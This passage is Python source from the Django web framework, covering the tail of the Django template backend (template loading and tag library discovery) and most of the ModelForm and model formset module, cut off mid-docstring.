    app_dirname = 'templates'

    def __init__(self, params):
        params = params.copy()
        options = params.pop('OPTIONS').copy()
        options.setdefault('autoescape', True)
        options.setdefault('debug', settings.DEBUG)
        options.setdefault('file_charset', settings.FILE_CHARSET)
        libraries = options.get('libraries', {})
        options['libraries'] = self.get_templatetag_libraries(libraries)
        super(DjangoTemplates, self).__init__(params)
        self.engine = Engine(self.dirs, self.app_dirs, **options)

    def from_string(self, template_code):
        return Template(self.engine.from_string(template_code), self)

    def get_template(self, template_name):
        try:
            return Template(self.engine.get_template(template_name), self)
        except TemplateDoesNotExist as exc:
            reraise(exc, self)

    def get_templatetag_libraries(self, custom_libraries):
        """
        Return a collation of template tag libraries from installed
        applications and the supplied custom_libraries argument.
        """
        libraries = get_installed_libraries()
        libraries.update(custom_libraries)
        return libraries


class Template(object):

    def __init__(self, template, backend):
        self.template = template
        self.backend = backend

    @property
    def origin(self):
        return self.template.origin

    def render(self, context=None, request=None):
        context = make_context(context, request, autoescape=self.backend.engine.autoescape)
        try:
            return self.template.render(context)
        except TemplateDoesNotExist as exc:
            reraise(exc, self.backend)


def copy_exception(exc, backend=None):
    """
    Create a new TemplateDoesNotExist. Preserve its declared attributes and
    template debug data but discard __traceback__, __context__, and __cause__
    to make this object suitable for keeping around (in a cache, for example).
    """
    backend = backend or exc.backend
    new = exc.__class__(*exc.args, tried=exc.tried, backend=backend, chain=exc.chain)
    if hasattr(exc, 'template_debug'):
        new.template_debug = exc.template_debug
    return new


def reraise(exc, backend):
    """
    Reraise TemplateDoesNotExist while maintaining template debug information.
    """
    new = copy_exception(exc, backend)
    six.reraise(exc.__class__, new, sys.exc_info()[2])


def get_installed_libraries():
    """
    Return the built-in template tag libraries and those from installed
    applications. Libraries are stored in a dictionary where keys are the
    individual module names, not the full module paths. Example:
    django.templatetags.i18n is stored as i18n.
    """
    libraries = {}
    candidates = ['django.templatetags']
    candidates.extend(
        '%s.templatetags' % app_config.name
        for app_config in apps.get_app_configs())

    for candidate in candidates:
        try:
            pkg = import_module(candidate)
        except ImportError:
            # No templatetags package defined. This is safe to ignore.
            continue

        if hasattr(pkg, '__path__'):
            for name in get_package_libraries(pkg):
                libraries[name[len(candidate) + 1:]] = name

    return libraries


def get_package_libraries(pkg):
    """
    Recursively yield template tag libraries defined in submodules of a
    package.
    """
    for entry in walk_packages(pkg.__path__, pkg.__name__ + '.'):
        try:
            module = import_module(entry[1])
        except ImportError as e:
            raise InvalidTemplateLibrary(
                "Invalid template library specified. ImportError raised when "
                "trying to load '%s': %s" % (entry[1], e)
            )

        if hasattr(module, 'register'):
            yield entry[1]






"""
Helper functions for creating Form classes from Django models
and database field objects.
"""

from __future__ import unicode_literals

from collections import OrderedDict
from itertools import chain

from django.core.exceptions import (
    NON_FIELD_ERRORS, FieldError, ImproperlyConfigured, ValidationError,
)
from django.forms.fields import ChoiceField, Field
from django.forms.forms import BaseForm, DeclarativeFieldsMetaclass
from django.forms.formsets import BaseFormSet, formset_factory
from django.forms.utils import ErrorList
from django.forms.widgets import (
    HiddenInput, MultipleHiddenInput, SelectMultiple,
)
from django.utils import six
from django.utils.encoding import force_text, smart_text
from django.utils.text import capfirst, get_text_list
from django.utils.translation import ugettext, ugettext_lazy as _

__all__ = (
    'ModelForm', 'BaseModelForm', 'model_to_dict', 'fields_for_model',
    'ModelChoiceField', 'ModelMultipleChoiceField', 'ALL_FIELDS',
    'BaseModelFormSet', 'modelformset_factory', 'BaseInlineFormSet',
    'inlineformset_factory', 'modelform_factory',
)

ALL_FIELDS = '__all__'


def construct_instance(form, instance, fields=None, exclude=None):
    """
    Constructs and returns a model instance from the bound ``form``'s
    ``cleaned_data``, but does not save the returned instance to the
    database.
    """
    from django.db import models
    opts = instance._meta

    cleaned_data = form.cleaned_data
    file_field_list = []
    for f in opts.fields:
        if not f.editable or isinstance(f, models.AutoField) \
                or f.name not in cleaned_data:
            continue
        if fields is not None and f.name not in fields:
            continue
        if exclude and f.name in exclude:
            continue
        # Defer saving file-type fields until after the other fields, so a
        # callable upload_to can use the values from other fields.
        if isinstance(f, models.FileField):
            file_field_list.append(f)
        else:
            f.save_form_data(instance, cleaned_data[f.name])

    for f in file_field_list:
        f.save_form_data(instance, cleaned_data[f.name])

    return instance


# ModelForms #################################################################

def model_to_dict(instance, fields=None, exclude=None):
    """
    Returns a dict containing the data in ``instance`` suitable for passing as
    a Form's ``initial`` keyword argument.

    ``fields`` is an optional list of field names. If provided, only the named
    fields will be included in the returned dict.

    ``exclude`` is an optional list of field names. If provided, the named
    fields will be excluded from the returned dict, even if they are listed in
    the ``fields`` argument.
    """
    opts = instance._meta
    data = {}
    for f in chain(opts.concrete_fields, opts.private_fields, opts.many_to_many):
        if not getattr(f, 'editable', False):
            continue
        if fields and f.name not in fields:
            continue
        if exclude and f.name in exclude:
            continue
        data[f.name] = f.value_from_object(instance)
    return data


def fields_for_model(model, fields=None, exclude=None, widgets=None,
                     formfield_callback=None, localized_fields=None,
                     labels=None, help_texts=None, error_messages=None,
                     field_classes=None):
    """
    Returns a ``OrderedDict`` containing form fields for the given model.

    ``fields`` is an optional list of field names. If provided, only the named
    fields will be included in the returned fields.

    ``exclude`` is an optional list of field names. If provided, the named
    fields will be excluded from the returned fields, even if they are listed
    in the ``fields`` argument.

    ``widgets`` is a dictionary of model field names mapped to a widget.

    ``formfield_callback`` is a callable that takes a model field and returns
    a form field.

    ``localized_fields`` is a list of names of fields which should be localized.

    ``labels`` is a dictionary of model field names mapped to a label.

    ``help_texts`` is a dictionary of model field names mapped to a help text.

    ``error_messages`` is a dictionary of model field names mapped to a
    dictionary of error messages.

    ``field_classes`` is a dictionary of model field names mapped to a form
    field class.
    """
    field_list = []
    ignored = []
    opts = model._meta
    # Avoid circular import
    from django.db.models.fields import Field as ModelField
    sortable_private_fields = [f for f in opts.private_fields if isinstance(f, ModelField)]
    for f in sorted(chain(opts.concrete_fields, sortable_private_fields, opts.many_to_many)):
        if not getattr(f, 'editable', False):
            if (fields is not None and f.name in fields and
                    (exclude is None or f.name not in exclude)):
                raise FieldError(
                    "'%s' cannot be specified for %s model form as it is a non-editable field" % (
                        f.name, model.__name__)
                )
            continue
        if fields is not None and f.name not in fields:
            continue
        if exclude and f.name in exclude:
            continue

        kwargs = {}
        if widgets and f.name in widgets:
            kwargs['widget'] = widgets[f.name]
        if localized_fields == ALL_FIELDS or (localized_fields and f.name in localized_fields):
            kwargs['localize'] = True
        if labels and f.name in labels:
            kwargs['label'] = labels[f.name]
        if help_texts and f.name in help_texts:
            kwargs['help_text'] = help_texts[f.name]
        if error_messages and f.name in error_messages:
            kwargs['error_messages'] = error_messages[f.name]
        if field_classes and f.name in field_classes:
            kwargs['form_class'] = field_classes[f.name]

        if formfield_callback is None:
            formfield = f.formfield(**kwargs)
        elif not callable(formfield_callback):
            raise TypeError('formfield_callback must be a function or callable')
        else:
            formfield = formfield_callback(f, **kwargs)

        if formfield:
            field_list.append((f.name, formfield))
        else:
            ignored.append(f.name)
    field_dict = OrderedDict(field_list)
    if fields:
        field_dict = OrderedDict(
            [(f, field_dict.get(f)) for f in fields
                if ((not exclude) or (exclude and f not in exclude)) and (f not in ignored)]
        )
    return field_dict


class ModelFormOptions(object):
    def __init__(self, options=None):
        self.model = getattr(options, 'model', None)
        self.fields = getattr(options, 'fields', None)
        self.exclude = getattr(options, 'exclude', None)
        self.widgets = getattr(options, 'widgets', None)
        self.localized_fields = getattr(options, 'localized_fields', None)
        self.labels = getattr(options, 'labels', None)
        self.help_texts = getattr(options, 'help_texts', None)
        self.error_messages = getattr(options, 'error_messages', None)
        self.field_classes = getattr(options, 'field_classes', None)


class ModelFormMetaclass(DeclarativeFieldsMetaclass):
    def __new__(mcs, name, bases, attrs):
        base_formfield_callback = None
        for b in bases:
            if hasattr(b, 'Meta') and hasattr(b.Meta, 'formfield_callback'):
                base_formfield_callback = b.Meta.formfield_callback
                break

        formfield_callback = attrs.pop('formfield_callback', base_formfield_callback)

        new_class = super(ModelFormMetaclass, mcs).__new__(mcs, name, bases, attrs)

        if bases == (BaseModelForm,):
            return new_class

        opts = new_class._meta = ModelFormOptions(getattr(new_class, 'Meta', None))

        # We check if a string was passed to `fields` or `exclude`,
        # which is likely to be a mistake where the user typed ('foo') instead
        # of ('foo',)
        for opt in ['fields', 'exclude', 'localized_fields']:
            value = getattr(opts, opt)
            if isinstance(value, six.string_types) and value != ALL_FIELDS:
                msg = ("%(model)s.Meta.%(opt)s cannot be a string. "
                       "Did you mean to type: ('%(value)s',)?" % {
                           'model': new_class.__name__,
                           'opt': opt,
                           'value': value,
                       })
                raise TypeError(msg)

        if opts.model:
            # If a model is defined, extract form fields from it.
            if opts.fields is None and opts.exclude is None:
                raise ImproperlyConfigured(
                    "Creating a ModelForm without either the 'fields' attribute "
                    "or the 'exclude' attribute is prohibited; form %s "
                    "needs updating." % name
                )

            if opts.fields == ALL_FIELDS:
                # Sentinel for fields_for_model to indicate "get the list of
                # fields from the model"
                opts.fields = None

            fields = fields_for_model(opts.model, opts.fields, opts.exclude,
                                      opts.widgets, formfield_callback,
                                      opts.localized_fields, opts.labels,
                                      opts.help_texts, opts.error_messages,
                                      opts.field_classes)

            # make sure opts.fields doesn't specify an invalid field
            none_model_fields = [k for k, v in six.iteritems(fields) if not v]
            missing_fields = (set(none_model_fields) -
                              set(new_class.declared_fields.keys()))
            if missing_fields:
                message = 'Unknown field(s) (%s) specified for %s'
                message = message % (', '.join(missing_fields),
                                     opts.model.__name__)
                raise FieldError(message)
            # Override default model fields with any custom declared ones
            # (plus, include all the other declared fields).
            fields.update(new_class.declared_fields)
        else:
            fields = new_class.declared_fields

        new_class.base_fields = fields

        return new_class


class BaseModelForm(BaseForm):
    def __init__(self, data=None, files=None, auto_id='id_%s', prefix=None,
                 initial=None, error_class=ErrorList, label_suffix=None,
                 empty_permitted=False, instance=None, use_required_attribute=None):
        opts = self._meta
        if opts.model is None:
            raise ValueError('ModelForm has no model class specified.')
        if instance is None:
            # if we didn't get an instance, instantiate a new one
            self.instance = opts.model()
            object_data = {}
        else:
            self.instance = instance
            object_data = model_to_dict(instance, opts.fields, opts.exclude)
        # if initial was provided, it should override the values from instance
        if initial is not None:
            object_data.update(initial)
        # self._validate_unique will be set to True by BaseModelForm.clean().
        # It is False by default so overriding self.clean() and failing to call
        # super will stop validate_unique from being called.
        self._validate_unique = False
        super(BaseModelForm, self).__init__(
            data, files, auto_id, prefix, object_data, error_class,
            label_suffix, empty_permitted, use_required_attribute=use_required_attribute,
        )
        # Apply ``limit_choices_to`` to each field.
        for field_name in self.fields:
            formfield = self.fields[field_name]
            if hasattr(formfield, 'queryset') and hasattr(formfield, 'get_limit_choices_to'):
                limit_choices_to = formfield.get_limit_choices_to()
                if limit_choices_to is not None:
                    formfield.queryset = formfield.queryset.complex_filter(limit_choices_to)

    def _get_validation_exclusions(self):
        """
        For backwards-compatibility, several types of fields need to be
        excluded from model validation. See the following tickets for
        details: #12507, #12521, #12553
        """
        exclude = []
        # Build up a list of fields that should be excluded from model field
        # validation and unique checks.
        for f in self.instance._meta.fields:
            field = f.name
            # Exclude fields that aren't on the form. The developer may be
            # adding these values to the model after form validation.
            if field not in self.fields:
                exclude.append(f.name)

            # Don't perform model validation on fields that were defined
            # manually on the form and excluded via the ModelForm's Meta
            # class. See #12901.
            elif self._meta.fields and field not in self._meta.fields:
                exclude.append(f.name)
            elif self._meta.exclude and field in self._meta.exclude:
                exclude.append(f.name)

            # Exclude fields that failed form validation. There's no need for
            # the model fields to validate them as well.
            elif field in self._errors.keys():
                exclude.append(f.name)

            # Exclude empty fields that are not required by the form, if the
            # underlying model field is required. This keeps the model field
            # from raising a required error. Note: don't exclude the field from
            # validation if the model field allows blanks. If it does, the blank
            # value may be included in a unique check, so cannot be excluded
            # from validation.
            else:
                form_field = self.fields[field]
                field_value = self.cleaned_data.get(field)
                if not f.blank and not form_field.required and field_value in form_field.empty_values:
                    exclude.append(f.name)
        return exclude

    def clean(self):
        self._validate_unique = True
        return self.cleaned_data

    def _update_errors(self, errors):
        # Override any validation error messages defined at the model level
        # with those defined at the form level.
        opts = self._meta

        # Allow the model generated by construct_instance() to raise
        # ValidationError and have them handled in the same way as others.
        if hasattr(errors, 'error_dict'):
            error_dict = errors.error_dict
        else:
            error_dict = {NON_FIELD_ERRORS: errors}

        for field, messages in error_dict.items():
            if (field == NON_FIELD_ERRORS and opts.error_messages and
                    NON_FIELD_ERRORS in opts.error_messages):
                error_messages = opts.error_messages[NON_FIELD_ERRORS]
            elif field in self.fields:
                error_messages = self.fields[field].error_messages
            else:
                continue

            for message in messages:
                if (isinstance(message, ValidationError) and
                        message.code in error_messages):
                    message.message = error_messages[message.code]

        self.add_error(None, errors)

    def _post_clean(self):
        opts = self._meta

        exclude = self._get_validation_exclusions()

        # Foreign Keys being used to represent inline relationships
        # are excluded from basic field value validation. This is for two
        # reasons: firstly, the value may not be supplied (#12507; the
        # case of providing new values to the admin); secondly the
        # object being referred to may not yet fully exist (#12749).
        # However, these fields *must* be included in uniqueness checks,
        # so this can't be part of _get_validation_exclusions().
        for name, field in self.fields.items():
            if isinstance(field, InlineForeignKeyField):
                exclude.append(name)

        try:
            self.instance = construct_instance(self, self.instance, opts.fields, opts.exclude)
        except ValidationError as e:
            self._update_errors(e)

        try:
            self.instance.full_clean(exclude=exclude, validate_unique=False)
        except ValidationError as e:
            self._update_errors(e)

        # Validate uniqueness if needed.
        if self._validate_unique:
            self.validate_unique()

    def validate_unique(self):
        """
        Calls the instance's validate_unique() method and updates the form's
        validation errors if any were raised.
        """
        exclude = self._get_validation_exclusions()
        try:
            self.instance.validate_unique(exclude=exclude)
        except ValidationError as e:
            self._update_errors(e)

    def _save_m2m(self):
        """
        Save the many-to-many fields and generic relations for this form.
        """
        cleaned_data = self.cleaned_data
        exclude = self._meta.exclude
        fields = self._meta.fields
        opts = self.instance._meta
        # Note that for historical reasons we want to include also
        # private_fields here. (GenericRelation was previously a fake
        # m2m field).
        for f in chain(opts.many_to_many, opts.private_fields):
            if not hasattr(f, 'save_form_data'):
                continue
            if fields and f.name not in fields:
                continue
            if exclude and f.name in exclude:
                continue
            if f.name in cleaned_data:
                f.save_form_data(self.instance, cleaned_data[f.name])

    def save(self, commit=True):
        """
        Save this form's self.instance object if commit=True. Otherwise, add
        a save_m2m() method to the form which can be called after the instance
        is saved manually at a later time. Return the model instance.
        """
        if self.errors:
            raise ValueError(
                "The %s could not be %s because the data didn't validate." % (
                    self.instance._meta.object_name,
                    'created' if self.instance._state.adding else 'changed',
                )
            )
        if commit:
            # If committing, save the instance and the m2m data immediately.
            self.instance.save()
            self._save_m2m()
        else:
            # If not committing, add a method to the form to allow deferred
            # saving of m2m data.
            self.save_m2m = self._save_m2m
        return self.instance

    save.alters_data = True


class ModelForm(six.with_metaclass(ModelFormMetaclass, BaseModelForm)):
    pass


def modelform_factory(model, form=ModelForm, fields=None, exclude=None,
                      formfield_callback=None, widgets=None, localized_fields=None,
                      labels=None, help_texts=None, error_messages=None,
                      field_classes=None):
    """
    Returns a ModelForm containing form fields for the given model.

    ``fields`` is an optional list of field names. If provided, only the named
    fields will be included in the returned fields. If omitted or '__all__',
    all fields will be used.

    ``exclude`` is an optional list of field names. If provided, the named
    fields will be excluded from the returned fields, even if they are listed
    in the ``fields`` argument.

    ``widgets`` is a dictionary of model field names mapped to a widget.

    ``localized_fields`` is a list of names of fields which should be localized.

    ``formfield_callback`` is a callable that takes a model field and returns
    a form field.

    ``labels`` is a dictionary of model field names mapped to a label.

    ``help_texts`` is a dictionary of model field names mapped to a help text.

    ``error_messages`` is a dictionary of model field names mapped to a
    dictionary of error messages.

    ``field_classes`` is a dictionary of model field names mapped to a form
    field class.
    """
    # Create the inner Meta class. FIXME: ideally, we should be able to
    # construct a ModelForm without creating and passing in a temporary
    # inner class.

    # Build up a list of attributes that the Meta object will have.
    attrs = {'model': model}
    if fields is not None:
        attrs['fields'] = fields
    if exclude is not None:
        attrs['exclude'] = exclude
    if widgets is not None:
        attrs['widgets'] = widgets
    if localized_fields is not None:
        attrs['localized_fields'] = localized_fields
    if labels is not None:
        attrs['labels'] = labels
    if help_texts is not None:
        attrs['help_texts'] = help_texts
    if error_messages is not None:
        attrs['error_messages'] = error_messages
    if field_classes is not None:
        attrs['field_classes'] = field_classes

    # If parent form class already has an inner Meta, the Meta we're
    # creating needs to inherit from the parent's inner meta.
    parent = (object,)
    if hasattr(form, 'Meta'):
        parent = (form.Meta, object)
    Meta = type(str('Meta'), parent, attrs)
    if formfield_callback:
        Meta.formfield_callback = staticmethod(formfield_callback)
    # Give this new form class a reasonable name.
    class_name = model.__name__ + str('Form')

    # Class attributes for the new form class.
    form_class_attrs = {
        'Meta': Meta,
        'formfield_callback': formfield_callback
    }

    if (getattr(Meta, 'fields', None) is None and
            getattr(Meta, 'exclude', None) is None):
        raise ImproperlyConfigured(
            "Calling modelform_factory without defining 'fields' or "
            "'exclude' explicitly is prohibited."
        )

    # Instantiate type(form) in order to use the same metaclass as form.
    return type(form)(class_name, (form,), form_class_attrs)


# ModelFormSets ##############################################################

class BaseModelFormSet(BaseFormSet):
    """
    A ``FormSet`` for editing a queryset and/or adding new objects to it.
    """
    model = None

    # Set of fields that must be unique among forms of this set.
    unique_fields = set()

    def __init__(self, data=None, files=None, auto_id='id_%s', prefix=None,
                 queryset=None, **kwargs):
        self.queryset = queryset
        self.initial_extra = kwargs.pop('initial', None)
        defaults = {'data': data, 'files': files, 'auto_id': auto_id, 'prefix': prefix}
        defaults.update(kwargs)
        super(BaseModelFormSet, self).__init__(**defaults)

    def initial_form_count(self):
        """Returns the number of forms that are required in this FormSet."""
        if not (self.data or self.files):
            return len(self.get_queryset())
        return super(BaseModelFormSet, self).initial_form_count()

    def _existing_object(self, pk):
        if not hasattr(self, '_object_dict'):
            self._object_dict = {o.pk: o for o in self.get_queryset()}
        return self._object_dict.get(pk)

    def _get_to_python(self, field):
        """
        If the field is a related field, fetch the concrete field's (that
        is, the ultimate pointed-to field's) to_python.
        """
        while field.remote_field is not None:
            field = field.remote_field.get_related_field()
        return field.to_python

    def _construct_form(self, i, **kwargs):
        if self.is_bound and i < self.initial_form_count():
            pk_key = "%s-%s" % (self.add_prefix(i), self.model._meta.pk.name)
            pk = self.data[pk_key]
            pk_field = self.model._meta.pk
            to_python = self._get_to_python(pk_field)
            pk = to_python(pk)
            kwargs['instance'] = self._existing_object(pk)
        if i < self.initial_form_count() and 'instance' not in kwargs:
            kwargs['instance'] = self.get_queryset()[i]
        if i >= self.initial_form_count() and self.initial_extra:
            # Set initial values for extra forms
            try:
                kwargs['initial'] = self.initial_extra[i - self.initial_form_count()]
            except IndexError:
                pass
        return super(BaseModelFormSet, self)._construct_form(i, **kwargs)

    def get_queryset(self):
        if not hasattr(self, '_queryset'):
            if self.queryset is not None:
                qs = self.queryset
            else:
                qs = self.model._default_manager.get_queryset()

            # If the queryset isn't already ordered we need to add an
            # artificial ordering here to make sure that all formsets
            # constructed from this queryset have the same form order.
            if not qs.ordered:
                qs = qs.order_by(self.model._meta.pk.name)

            # Removed queryset limiting here. As per discussion re: #13023
            # on django-dev, max_num should not prevent existing
            # related objects/inlines from being displayed.
            self._queryset = qs
        return self._queryset

    def save_new(self, form, commit=True):
        """Saves and returns a new model instance for the given form."""
        return form.save(commit=commit)

    def save_existing(self, form, instance, commit=True):
        """Saves and returns an existing model instance for the given form."""
        return form.save(commit=commit)

    def delete_existing(self, obj, commit=True):
        """Deletes an existing model instance."""
        if commit:
            obj.delete()

    def save(self, commit=True):
        """Saves model instances for every form, adding and changing instances
        as necessary, and returns the list of instances.
        """
        if not commit:
            self.saved_forms = []

            def save_m2m():
                for form in self.saved_forms:
                    form.save_m2m()
            self.save_m2m = save_m2m
        return self.save_existing_objects(commit) + self.save_new_objects(commit)

    save.alters_data = True

    def clean(self):
        self.validate_unique()

    def validate_unique(self):
        # Collect unique_checks and date_checks to run from all the forms.
        all_unique_checks = set()
        all_date_checks = set()
        forms_to_delete = self.deleted_forms
        valid_forms = [form for form in self.forms if form.is_valid() and form not in forms_to_delete]
        for form in valid_forms:
            exclude = form._get_validation_exclusions()
            unique_checks, date_checks = form.instance._get_unique_checks(exclude=exclude)
            all_unique_checks = all_unique_checks.union(set(unique_checks))
            all_date_checks = all_date_checks.union(set(date_checks))

        errors = []
        # Do each of the unique checks (unique and unique_together)
        for uclass, unique_check in all_unique_checks:
            seen_data = set()
            for form in valid_forms:
                # Get the data for the set of fields that must be unique among the forms.
                row_data = (
                    field if field in self.unique_fields else form.cleaned_data[field]
                    for field in unique_check if field in form.cleaned_data
                )
                # Reduce Model instances to their primary key values
                row_data = tuple(d._get_pk_val() if hasattr(d, '_get_pk_val') else d
                                 for d in row_data)
                if row_data and None not in row_data:
                    # if we've already seen it then we have a uniqueness failure
                    if row_data in seen_data:
                        # poke error messages into the right places and mark
                        # the form as invalid
                        errors.append(self.get_unique_error_message(unique_check))
                        form._errors[NON_FIELD_ERRORS] = self.error_class([self.get_form_error()])
                        # remove the data from the cleaned_data dict since it was invalid
                        for field in unique_check:
                            if field in form.cleaned_data:
                                del form.cleaned_data[field]
                    # mark the data as seen
                    seen_data.add(row_data)
        # iterate over each of the date checks now
        for date_check in all_date_checks:
            seen_data = set()
            uclass, lookup, field, unique_for = date_check
            for form in valid_forms:
                # see if we have data for both fields
                if (form.cleaned_data and form.cleaned_data[field] is not None and
                        form.cleaned_data[unique_for] is not None):
                    # if it's a date lookup we need to get the data for all the fields
                    if lookup == 'date':
                        date = form.cleaned_data[unique_for]
                        date_data = (date.year, date.month, date.day)
                    # otherwise it's just the attribute on the date/datetime
                    # object
                    else:
                        date_data = (getattr(form.cleaned_data[unique_for], lookup),)
                    data = (form.cleaned_data[field],) + date_data
                    # if we've already seen it then we have a uniqueness failure
                    if data in seen_data:
                        # poke error messages into the right places and mark
                        # the form as invalid
                        errors.append(self.get_date_error_message(date_check))
                        form._errors[NON_FIELD_ERRORS] = self.error_class([self.get_form_error()])
                        # remove the data from the cleaned_data dict since it was invalid
                        del form.cleaned_data[field]
                    # mark the data as seen
                    seen_data.add(data)

        if errors:
            raise ValidationError(errors)

    def get_unique_error_message(self, unique_check):
        if len(unique_check) == 1:
            return ugettext("Please correct the duplicate data for %(field)s.") % {
                "field": unique_check[0],
            }
        else:
            return ugettext("Please correct the duplicate data for %(field)s, which must be unique.") % {
                "field": get_text_list(unique_check, six.text_type(_("and"))),
            }

    def get_date_error_message(self, date_check):
        return ugettext(
            "Please correct the duplicate data for %(field_name)s "
            "which must be unique for the %(lookup)s in %(date_field)s."
        ) % {
            'field_name': date_check[2],
            'date_field': date_check[3],
            'lookup': six.text_type(date_check[1]),
        }

    def get_form_error(self):
        return ugettext("Please correct the duplicate values below.")

    def save_existing_objects(self, commit=True):
        self.changed_objects = []
        self.deleted_objects = []
        if not self.initial_forms:
            return []

        saved_instances = []
        forms_to_delete = self.deleted_forms
        for form in self.initial_forms:
            obj = form.instance
            if form in forms_to_delete:
                # If the pk is None, it means that the object can't be
                # deleted again. Possible reason for this is that the
                # object was already deleted from the DB. Refs #14877.
                if obj.pk is None:
                    continue
                self.deleted_objects.append(obj)
                self.delete_existing(obj, commit=commit)
            elif form.has_changed():
                self.changed_objects.append((obj, form.changed_data))
                saved_instances.append(self.save_existing(form, obj, commit=commit))
                if not commit:
                    self.saved_forms.append(form)
        return saved_instances

    def save_new_objects(self, commit=True):
        self.new_objects = []
        for form in self.extra_forms:
            if not form.has_changed():
                continue
            # If someone has marked an add form for deletion, don't save the
            # object.
            if self.can_delete and self._should_delete_form(form):
                continue
            self.new_objects.append(self.save_new(form, commit=commit))
            if not commit:
                self.saved_forms.append(form)
        return self.new_objects

    def add_fields(self, form, index):
        """Add a hidden field for the object's primary key."""
        from django.db.models import AutoField, OneToOneField, ForeignKey
        self._pk_field = pk = self.model._meta.pk
        # If a pk isn't editable, then it won't be on the form, so we need to
        # add it here so we can tell which object is which when we get the
        # data back. Generally, pk.editable should be false, but for some
        # reason, auto_created pk fields and AutoField's editable attribute is
        # True, so check for that as well.

        def pk_is_not_editable(pk):
            return (
                (not pk.editable) or (pk.auto_created or isinstance(pk, AutoField)) or (
                    pk.remote_field and pk.remote_field.parent_link and
                    pk_is_not_editable(pk.remote_field.model._meta.pk)
                )
            )
        if pk_is_not_editable(pk) or pk.name not in form.fields:
            if form.is_bound:
                # If we're adding the related instance, ignore its primary key
                # as it could be an auto-generated default which isn't actually
                # in the database.
                pk_value = None if form.instance._state.adding else form.instance.pk
            else:
                try:
                    if index is not None:
                        pk_value = self.get_queryset()[index].pk
                    else:
                        pk_value = None
                except IndexError:
                    pk_value = None
            if isinstance(pk, OneToOneField) or isinstance(pk, ForeignKey):
                qs = pk.remote_field.model._default_manager.get_queryset()
            else:
                qs = self.model._default_manager.get_queryset()
            qs = qs.using(form.instance._state.db)
            if form._meta.widgets:
                widget = form._meta.widgets.get(self._pk_field.name, HiddenInput)
            else:
                widget = HiddenInput
            form.fields[self._pk_field.name] = ModelChoiceField(qs, initial=pk_value, required=False, widget=widget)
        super(BaseModelFormSet, self).add_fields(form, index)


def modelformset_factory(model, form=ModelForm, formfield_callback=None,
                         formset=BaseModelFormSet, extra=1, can_delete=False,
                         can_order=False, max_num=None, fields=None, exclude=None,
                         widgets=None, validate_max=False, localized_fields=None,
                         labels=None, help_texts=None, error_messages=None,
                         min_num=None, validate_min=False, field_classes=None):
    """
    Returns a FormSet class for the given Django model class.
    """
    meta = getattr(form, 'Meta', None)
    if (getattr(meta, 'fields', fields) is None and
            getattr(meta, 'exclude', exclude) is None):
        raise ImproperlyConfigured(
            "Calling modelformset_factory without defining 'fields' or "
            "'exclude' explicitly is prohibited."
        )

    form = modelform_factory(model, form=form, fields=fields, exclude=exclude,
                             formfield_callback=formfield_callback,
                             widgets=widgets, localized_fields=localized_fields,
                             labels=labels, help_texts=help_texts,
                             error_messages=error_messages, field_classes=field_classes)
    FormSet = formset_factory(form, formset, extra=extra, min_num=min_num, max_num=max_num,
                              can_order=can_order, can_delete=can_delete,
                              validate_min=validate_min, validate_max=validate_max)
    FormSet.model = model
    return FormSet


# InlineFormSets #############################################################

class BaseInlineFormSet(BaseModelFormSet):
    """A formset for child objects related to a parent."""
    def __init__(self, data=None, files=None, instance=None,
                 save_as_new=False, prefix=None, queryset=None, **kwargs):
        if instance is None:
            self.instance = self.fk.remote_field.model()
        else:
            self.instance = instance
        self.save_as_new = save_as_new
        if queryset is None:
            queryset = self.model._default_manager
        if self.instance.pk is not None:
            qs = queryset.filter(**{self.fk.name: self.instance})
        else:
            qs = queryset.none()
        self.unique_fields = {self.fk.name}
        super(BaseInlineFormSet, self).__init__(data, files, prefix=prefix,
                                                queryset=qs, **kwargs)

        # Add the generated field to form._meta.fields if it's defined to make
        # sure validation isn't skipped on that field.
        if self.form._meta.fields and self.fk.name not in self.form._meta.fields:
            if isinstance(self.form._meta.fields, tuple):
                self.form._meta.fields = list(self.form._meta.fields)
            self.form._meta.fields.append(self.fk.name)

    def initial_form_count(self):
        if self.save_as_new:
            return 0
        return super(BaseInlineFormSet, self).initial_form_count()

    def _construct_form(self, i, **kwargs):
        form = super(BaseInlineFormSet, self)._construct_form(i, **kwargs)
        if self.save_as_new:
            # Remove the primary key from the form's data, we are only
            # creating new instances
            form.data[form.add_prefix(self._pk_field.name)] = None

            # Remove the foreign key from the form's data
            form.data[form.add_prefix(self.fk.name)] = None

        # Set the fk value here so that the form can do its validation.
        fk_value = self.instance.pk
        if self.fk.remote_field.field_name != self.fk.remote_field.model._meta.pk.name:
            fk_value = getattr(self.instance, self.fk.remote_field.field_name)
            fk_value = getattr(fk_value, 'pk', fk_value)
        setattr(form.instance, self.fk.get_attname(), fk_value)
        return form

    @classmethod
    def get_default_prefix(cls):
        return cls.fk.remote_field.get_accessor_name(model=cls.model).replace('+', '')

    def save_new(self, form, commit=True):
        # Ensure the latest copy of the related instance is present on each
        # form (it may have been saved after the formset was originally
        # instantiated).
        setattr(form.instance, self.fk.name, self.instance)
        # Use commit=False so we can assign the parent key afterwards, then
        # save the object.
        obj = form.save(commit=False)
        pk_value = getattr(self.instance, self.fk.remote_field.field_name)
        setattr(obj, self.fk.get_attname(), getattr(pk_value, 'pk', pk_value))
        if commit:
            obj.save()
        # form.save_m2m() can be called via the formset later on if commit=False
        if commit and hasattr(form, 'save_m2m'):
            form.save_m2m()
        return obj

    def add_fields(self, form, index):
        super(BaseInlineFormSet, self).add_fields(form, index)
        if self._pk_field == self.fk:
            name = self._pk_field.name
            kwargs = {'pk_field': True}
        else:
            # The foreign key field might not be on the form, so we poke at the
            # Model field to get the label, since we need that for error messages.
            name = self.fk.name
            kwargs = {
                'label': getattr(form.fields.get(name), 'label', capfirst(self.fk.verbose_name))
            }
            if self.fk.remote_field.field_name != self.fk.remote_field.model._meta.pk.name:
                kwargs['to_field'] = self.fk.remote_field.field_name

        # If we're adding a new object, ignore a parent's auto-generated key
        # as it will be regenerated on the save request.
        if self.instance._state.adding:
            if kwargs.get('to_field') is not None:
                to_field = self.instance._meta.get_field(kwargs['to_field'])
            else:
                to_field = self.instance._meta.pk
            if to_field.has_default():
                setattr(self.instance, to_field.attname, None)

        form.fields[name] = InlineForeignKeyField(self.instance, **kwargs)

    def get_unique_error_message(self, unique_check):
        unique_check = [field for field in unique_check if field != self.fk.name]
        return super(BaseInlineFormSet, self).get_unique_error_message(unique_check)


def _get_foreign_key(parent_model, model, fk_name=None, can_fail=False):
    """
    Finds and returns the ForeignKey from model to parent if there is one
    (returns None if can_fail is True and no such field exists). If fk_name is
    provided, assume it is the name of the ForeignKey field. Unless can_fail is
